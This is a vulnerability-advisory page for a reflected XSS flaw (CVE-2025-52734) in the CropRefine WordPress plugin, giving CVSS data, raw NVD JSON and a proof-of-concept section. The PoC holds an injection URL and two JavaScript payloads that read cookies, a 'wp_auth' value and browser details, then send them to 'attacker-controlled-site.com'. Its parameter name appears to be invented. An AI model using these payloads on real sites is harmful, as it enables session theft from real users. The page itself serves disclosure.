Security Vulnerability Report
中文
CVE-2025-52734 CVSS 7.1 HIGH

CVE-2025-52734

Published: 2025-10-22 15:15:43
Last Modified: 2026-04-27 17:16:26

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ERA404 CropRefine croprefine allows Reflected XSS.This issue affects CropRefine: from n/a through <= 1.2.1.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

CropRefine插件 <= 1.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-52734 Reflected XSS PoC for WordPress CropRefine Plugin --> <!-- Target: WordPress site with CropRefine plugin <= 1.2.1 --> <!-- This PoC demonstrates the reflected XSS vulnerability --> <!-- Malicious URL to trigger XSS --> <!-- Replace 'target-site.com' with the actual vulnerable site --> <a href="http://target-site.com/?crop_refine_param=<script>alert('XSS-VULNERABILITY-TESTED')</script>">Click to Test XSS</a> <!-- JavaScript PoC - Cookie Stealing --> <script> // Extract cookies var stolenCookies = document.cookie; // Send to attacker-controlled server var attackerServer = 'https://attacker-controlled-site.com/steal?c=' + encodeURIComponent(stolenCookies); // Create image element to send request (bypasses some CORS restrictions) var img = document.createElement('img'); img.src = attackerServer; document.body.appendChild(img); </script> <!-- Advanced PoC - Session Hijacking --> <script> // Read session data var sessionData = { cookies: document.cookie, localStorage: localStorage.getItem('wp_auth'), userAgent: navigator.userAgent, referrer: document.referrer }; // Exfiltrate data fetch('https://attacker-controlled-site.com/api/log', { method: 'POST', mode: 'no-cors', body: JSON.stringify(sessionData) }); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-52734", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:43.410", "lastModified": "2026-04-27T17:16:26.167", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ERA404 CropRefine croprefine allows Reflected XSS.This issue affects CropRefine: from n/a through <= 1.2.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/croprefine/vulnerability/wordpress-croprefine-plugin-1-2-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}